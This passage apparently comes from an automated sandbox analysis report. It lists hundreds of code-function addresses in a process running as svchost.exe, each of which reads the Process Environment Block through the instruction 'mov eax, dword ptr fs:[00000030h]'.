Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A1E3 mov eax, dword ptr fs:[00000030h]	1_2_0393A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A1E3 mov eax, dword ptr fs:[00000030h]	1_2_0393A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A1E3 mov eax, dword ptr fs:[00000030h]	1_2_0393A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A1E3 mov eax, dword ptr fs:[00000030h]	1_2_0393A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A1E3 mov eax, dword ptr fs:[00000030h]	1_2_0393A1E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F81EE mov eax, dword ptr fs:[00000030h]	1_2_039F81EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F81EE mov eax, dword ptr fs:[00000030h]	1_2_039F81EE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039281EB mov eax, dword ptr fs:[00000030h]	1_2_039281EB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03960118 mov eax, dword ptr fs:[00000030h]	1_2_03960118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BA130 mov eax, dword ptr fs:[00000030h]	1_2_039BA130
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396415F mov eax, dword ptr fs:[00000030h]	1_2_0396415F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A147 mov eax, dword ptr fs:[00000030h]	1_2_0392A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A147 mov eax, dword ptr fs:[00000030h]	1_2_0392A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A147 mov eax, dword ptr fs:[00000030h]	1_2_0392A147
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936179 mov eax, dword ptr fs:[00000030h]	1_2_03936179
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392A093 mov ecx, dword ptr fs:[00000030h]	1_2_0392A093
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392C090 mov eax, dword ptr fs:[00000030h]	1_2_0392C090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C6090 mov eax, dword ptr fs:[00000030h]	1_2_039C6090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04080 mov eax, dword ptr fs:[00000030h]	1_2_03A04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04080 mov eax, dword ptr fs:[00000030h]	1_2_03A04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04080 mov eax, dword ptr fs:[00000030h]	1_2_03A04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04080 mov eax, dword ptr fs:[00000030h]	1_2_03A04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04080 mov eax, dword ptr fs:[00000030h]	1_2_03A04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04080 mov eax, dword ptr fs:[00000030h]	1_2_03A04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04080 mov eax, dword ptr fs:[00000030h]	1_2_03A04080
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039700A5 mov eax, dword ptr fs:[00000030h]	1_2_039700A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B60A0 mov eax, dword ptr fs:[00000030h]	1_2_039B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B60A0 mov eax, dword ptr fs:[00000030h]	1_2_039B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B60A0 mov eax, dword ptr fs:[00000030h]	1_2_039B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B60A0 mov eax, dword ptr fs:[00000030h]	1_2_039B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B60A0 mov eax, dword ptr fs:[00000030h]	1_2_039B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B60A0 mov eax, dword ptr fs:[00000030h]	1_2_039B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B60A0 mov eax, dword ptr fs:[00000030h]	1_2_039B60A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392C0F6 mov eax, dword ptr fs:[00000030h]	1_2_0392C0F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC0E0 mov ecx, dword ptr fs:[00000030h]	1_2_039BC0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972010 mov ecx, dword ptr fs:[00000030h]	1_2_03972010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938009 mov eax, dword ptr fs:[00000030h]	1_2_03938009
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03960044 mov eax, dword ptr fs:[00000030h]	1_2_03960044
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B6040 mov eax, dword ptr fs:[00000030h]	1_2_039B6040
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936074 mov eax, dword ptr fs:[00000030h]	1_2_03936074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936074 mov eax, dword ptr fs:[00000030h]	1_2_03936074
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE79D mov eax, dword ptr fs:[00000030h]	1_2_039AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE79D mov eax, dword ptr fs:[00000030h]	1_2_039AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE79D mov eax, dword ptr fs:[00000030h]	1_2_039AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE79D mov eax, dword ptr fs:[00000030h]	1_2_039AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE79D mov eax, dword ptr fs:[00000030h]	1_2_039AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE79D mov eax, dword ptr fs:[00000030h]	1_2_039AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE79D mov eax, dword ptr fs:[00000030h]	1_2_039AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE79D mov eax, dword ptr fs:[00000030h]	1_2_039AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE79D mov eax, dword ptr fs:[00000030h]	1_2_039AE79D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D47B4 mov eax, dword ptr fs:[00000030h]	1_2_039D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D47B4 mov eax, dword ptr fs:[00000030h]	1_2_039D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D47B4 mov eax, dword ptr fs:[00000030h]	1_2_039D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D47B4 mov eax, dword ptr fs:[00000030h]	1_2_039D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D47B4 mov eax, dword ptr fs:[00000030h]	1_2_039D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D47B4 mov eax, dword ptr fs:[00000030h]	1_2_039D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D47B4 mov ecx, dword ptr fs:[00000030h]	1_2_039D47B4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039CC7B0 mov eax, dword ptr fs:[00000030h]	1_2_039CC7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039CC7B0 mov eax, dword ptr fs:[00000030h]	1_2_039CC7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039307A7 mov eax, dword ptr fs:[00000030h]	1_2_039307A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E7E0 mov eax, dword ptr fs:[00000030h]	1_2_0395E7E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393471B mov eax, dword ptr fs:[00000030h]	1_2_0393471B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393471B mov eax, dword ptr fs:[00000030h]	1_2_0393471B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395270D mov eax, dword ptr fs:[00000030h]	1_2_0395270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395270D mov eax, dword ptr fs:[00000030h]	1_2_0395270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395270D mov eax, dword ptr fs:[00000030h]	1_2_0395270D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952755 mov eax, dword ptr fs:[00000030h]	1_2_03952755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952755 mov eax, dword ptr fs:[00000030h]	1_2_03952755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952755 mov eax, dword ptr fs:[00000030h]	1_2_03952755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952755 mov ecx, dword ptr fs:[00000030h]	1_2_03952755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952755 mov eax, dword ptr fs:[00000030h]	1_2_03952755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952755 mov eax, dword ptr fs:[00000030h]	1_2_03952755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A750 mov eax, dword ptr fs:[00000030h]	1_2_0396A750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE750 mov eax, dword ptr fs:[00000030h]	1_2_039DE750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03960774 mov eax, dword ptr fs:[00000030h]	1_2_03960774
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934779 mov eax, dword ptr fs:[00000030h]	1_2_03934779
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03934779 mov eax, dword ptr fs:[00000030h]	1_2_03934779
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03942760 mov ecx, dword ptr fs:[00000030h]	1_2_03942760
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938690 mov eax, dword ptr fs:[00000030h]	1_2_03938690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC691 mov eax, dword ptr fs:[00000030h]	1_2_039BC691
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940680 mov eax, dword ptr fs:[00000030h]	1_2_03940680
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F86A8 mov eax, dword ptr fs:[00000030h]	1_2_039F86A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F86A8 mov eax, dword ptr fs:[00000030h]	1_2_039F86A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C66D0 mov eax, dword ptr fs:[00000030h]	1_2_039C66D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C66D0 mov eax, dword ptr fs:[00000030h]	1_2_039C66D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE6D0 mov eax, dword ptr fs:[00000030h]	1_2_039DE6D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039306CF mov eax, dword ptr fs:[00000030h]	1_2_039306CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FA6C0 mov eax, dword ptr fs:[00000030h]	1_2_039FA6C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D86C2 mov eax, dword ptr fs:[00000030h]	1_2_039D86C2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AC6F2 mov eax, dword ptr fs:[00000030h]	1_2_039AC6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AC6F2 mov eax, dword ptr fs:[00000030h]	1_2_039AC6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393C6E0 mov eax, dword ptr fs:[00000030h]	1_2_0393C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039566E0 mov eax, dword ptr fs:[00000030h]	1_2_039566E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039566E0 mov eax, dword ptr fs:[00000030h]	1_2_039566E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04600 mov eax, dword ptr fs:[00000030h]	1_2_03A04600
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930630 mov eax, dword ptr fs:[00000030h]	1_2_03930630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03960630 mov eax, dword ptr fs:[00000030h]	1_2_03960630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B8633 mov esi, dword ptr fs:[00000030h]	1_2_039B8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B8633 mov eax, dword ptr fs:[00000030h]	1_2_039B8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B8633 mov eax, dword ptr fs:[00000030h]	1_2_039B8633
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C620 mov eax, dword ptr fs:[00000030h]	1_2_0396C620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396265C mov eax, dword ptr fs:[00000030h]	1_2_0396265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396265C mov ecx, dword ptr fs:[00000030h]	1_2_0396265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396265C mov eax, dword ptr fs:[00000030h]	1_2_0396265C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C640 mov eax, dword ptr fs:[00000030h]	1_2_0396C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C640 mov eax, dword ptr fs:[00000030h]	1_2_0396C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930670 mov eax, dword ptr fs:[00000030h]	1_2_03930670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972670 mov eax, dword ptr fs:[00000030h]	1_2_03972670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972670 mov eax, dword ptr fs:[00000030h]	1_2_03972670
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396666D mov esi, dword ptr fs:[00000030h]	1_2_0396666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396666D mov eax, dword ptr fs:[00000030h]	1_2_0396666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396666D mov eax, dword ptr fs:[00000030h]	1_2_0396666D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BE660 mov eax, dword ptr fs:[00000030h]	1_2_039BE660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03962594 mov eax, dword ptr fs:[00000030h]	1_2_03962594
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC592 mov eax, dword ptr fs:[00000030h]	1_2_039BC592
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE588 mov eax, dword ptr fs:[00000030h]	1_2_039AE588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE588 mov eax, dword ptr fs:[00000030h]	1_2_039AE588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A580 mov eax, dword ptr fs:[00000030h]	1_2_0396A580
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A580 mov eax, dword ptr fs:[00000030h]	1_2_0396A580
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039345B0 mov eax, dword ptr fs:[00000030h]	1_2_039345B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039345B0 mov eax, dword ptr fs:[00000030h]	1_2_039345B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B85AA mov eax, dword ptr fs:[00000030h]	1_2_039B85AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039665D0 mov eax, dword ptr fs:[00000030h]	1_2_039665D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C5C6 mov eax, dword ptr fs:[00000030h]	1_2_0396C5C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B05C6 mov eax, dword ptr fs:[00000030h]	1_2_039B05C6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC5FC mov eax, dword ptr fs:[00000030h]	1_2_039BC5FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A5E7 mov ebx, dword ptr fs:[00000030h]	1_2_0396A5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A5E7 mov eax, dword ptr fs:[00000030h]	1_2_0396A5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DE5E0 mov eax, dword ptr fs:[00000030h]	1_2_039DE5E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC51D mov eax, dword ptr fs:[00000030h]	1_2_039BC51D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E507 mov eax, dword ptr fs:[00000030h]	1_2_0395E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E507 mov eax, dword ptr fs:[00000030h]	1_2_0395E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E507 mov eax, dword ptr fs:[00000030h]	1_2_0395E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E507 mov eax, dword ptr fs:[00000030h]	1_2_0395E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E507 mov eax, dword ptr fs:[00000030h]	1_2_0395E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E507 mov eax, dword ptr fs:[00000030h]	1_2_0395E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E507 mov eax, dword ptr fs:[00000030h]	1_2_0395E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E507 mov eax, dword ptr fs:[00000030h]	1_2_0395E507
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03932500 mov eax, dword ptr fs:[00000030h]	1_2_03932500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C50D mov eax, dword ptr fs:[00000030h]	1_2_0396C50D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C50D mov eax, dword ptr fs:[00000030h]	1_2_0396C50D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03972539 mov eax, dword ptr fs:[00000030h]	1_2_03972539
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394252B mov eax, dword ptr fs:[00000030h]	1_2_0394252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394252B mov eax, dword ptr fs:[00000030h]	1_2_0394252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394252B mov eax, dword ptr fs:[00000030h]	1_2_0394252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394252B mov eax, dword ptr fs:[00000030h]	1_2_0394252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394252B mov eax, dword ptr fs:[00000030h]	1_2_0394252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394252B mov eax, dword ptr fs:[00000030h]	1_2_0394252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394252B mov eax, dword ptr fs:[00000030h]	1_2_0394252B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C6550 mov eax, dword ptr fs:[00000030h]	1_2_039C6550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FA553 mov eax, dword ptr fs:[00000030h]	1_2_039FA553
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394E547 mov eax, dword ptr fs:[00000030h]	1_2_0394E547
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03966540 mov eax, dword ptr fs:[00000030h]	1_2_03966540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03968540 mov eax, dword ptr fs:[00000030h]	1_2_03968540
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393254C mov eax, dword ptr fs:[00000030h]	1_2_0393254C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0394C560 mov eax, dword ptr fs:[00000030h]	1_2_0394C560
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC490 mov eax, dword ptr fs:[00000030h]	1_2_039BC490
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930485 mov ecx, dword ptr fs:[00000030h]	1_2_03930485
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396648A mov eax, dword ptr fs:[00000030h]	1_2_0396648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396648A mov eax, dword ptr fs:[00000030h]	1_2_0396648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396648A mov eax, dword ptr fs:[00000030h]	1_2_0396648A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C84BB mov eax, dword ptr fs:[00000030h]	1_2_039C84BB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E4BC mov eax, dword ptr fs:[00000030h]	1_2_0396E4BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039324A2 mov eax, dword ptr fs:[00000030h]	1_2_039324A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039324A2 mov ecx, dword ptr fs:[00000030h]	1_2_039324A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039644A8 mov eax, dword ptr fs:[00000030h]	1_2_039644A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039544D1 mov eax, dword ptr fs:[00000030h]	1_2_039544D1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039544D1 mov eax, dword ptr fs:[00000030h]	1_2_039544D1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039364F0 mov eax, dword ptr fs:[00000030h]	1_2_039364F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D44F8 mov eax, dword ptr fs:[00000030h]	1_2_039D44F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D44F8 mov eax, dword ptr fs:[00000030h]	1_2_039D44F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A4F0 mov eax, dword ptr fs:[00000030h]	1_2_0396A4F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396A4F0 mov eax, dword ptr fs:[00000030h]	1_2_0396A4F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BE4F2 mov eax, dword ptr fs:[00000030h]	1_2_039BE4F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BE4F2 mov eax, dword ptr fs:[00000030h]	1_2_039BE4F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E4EF mov eax, dword ptr fs:[00000030h]	1_2_0396E4EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E4EF mov eax, dword ptr fs:[00000030h]	1_2_0396E4EF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C6400 mov eax, dword ptr fs:[00000030h]	1_2_039C6400
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C6400 mov eax, dword ptr fs:[00000030h]	1_2_039C6400
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392640D mov eax, dword ptr fs:[00000030h]	1_2_0392640D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E45E mov eax, dword ptr fs:[00000030h]	1_2_0395E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E45E mov eax, dword ptr fs:[00000030h]	1_2_0395E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E45E mov eax, dword ptr fs:[00000030h]	1_2_0395E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E45E mov eax, dword ptr fs:[00000030h]	1_2_0395E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E45E mov eax, dword ptr fs:[00000030h]	1_2_0395E45E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940445 mov eax, dword ptr fs:[00000030h]	1_2_03940445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940445 mov eax, dword ptr fs:[00000030h]	1_2_03940445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940445 mov eax, dword ptr fs:[00000030h]	1_2_03940445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940445 mov eax, dword ptr fs:[00000030h]	1_2_03940445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940445 mov eax, dword ptr fs:[00000030h]	1_2_03940445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940445 mov eax, dword ptr fs:[00000030h]	1_2_03940445
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0443 mov eax, dword ptr fs:[00000030h]	1_2_039B0443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938470 mov eax, dword ptr fs:[00000030h]	1_2_03938470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938470 mov eax, dword ptr fs:[00000030h]	1_2_03938470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BE461 mov eax, dword ptr fs:[00000030h]	1_2_039BE461
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FA464 mov eax, dword ptr fs:[00000030h]	1_2_039FA464
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F8BBE mov eax, dword ptr fs:[00000030h]	1_2_039F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F8BBE mov eax, dword ptr fs:[00000030h]	1_2_039F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F8BBE mov eax, dword ptr fs:[00000030h]	1_2_039F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F8BBE mov eax, dword ptr fs:[00000030h]	1_2_039F8BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04BE0 mov eax, dword ptr fs:[00000030h]	1_2_03A04BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D6BDE mov ebx, dword ptr fs:[00000030h]	1_2_039D6BDE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D6BDE mov eax, dword ptr fs:[00000030h]	1_2_039D6BDE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03958BD1 mov eax, dword ptr fs:[00000030h]	1_2_03958BD1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03958BD1 mov eax, dword ptr fs:[00000030h]	1_2_03958BD1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392EBC0 mov eax, dword ptr fs:[00000030h]	1_2_0392EBC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B4BC0 mov eax, dword ptr fs:[00000030h]	1_2_039B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B4BC0 mov eax, dword ptr fs:[00000030h]	1_2_039B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B4BC0 mov eax, dword ptr fs:[00000030h]	1_2_039B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B4BC0 mov eax, dword ptr fs:[00000030h]	1_2_039B4BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938B10 mov eax, dword ptr fs:[00000030h]	1_2_03938B10
